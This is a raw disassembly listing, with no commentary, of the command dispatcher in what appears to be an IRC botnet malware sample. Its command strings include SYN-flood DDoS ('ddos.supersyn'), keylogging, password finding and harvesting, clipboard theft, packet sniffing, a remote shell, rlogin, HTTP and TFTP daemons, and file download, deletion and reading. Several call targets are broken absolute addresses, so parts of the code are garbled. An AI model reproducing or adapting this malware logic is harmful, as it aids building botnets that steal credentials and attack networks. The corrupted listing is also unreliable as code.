		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_432788
		jnz	short loc_410249
		mov	eax, offset dword_432754

loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_432694
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410448

loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_410432
; ---------------------------------------------------------------------------

loc_410448:				; CODE XREF: sub_40EE72+15BEj
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_432648
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"

loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_43251C

loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------

loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_432250
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]

loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432210
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410C86

loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_410C70
; ---------------------------------------------------------------------------

loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_4321C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_432178
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_432140
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_4320E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4320A4

loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_432074
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------

loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax

loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]

loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432044
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410E3C

loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------

loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_431FF8

loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43AE68, ebx
		jz	short loc_410EB2
		cmp	dword_43AE90, ebx
		jz	short loc_410EB2
		push	offset dword_431FA8
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------

loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_431F6C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_431F3C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1

loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1

loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------

loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_431EE0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_431EB0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

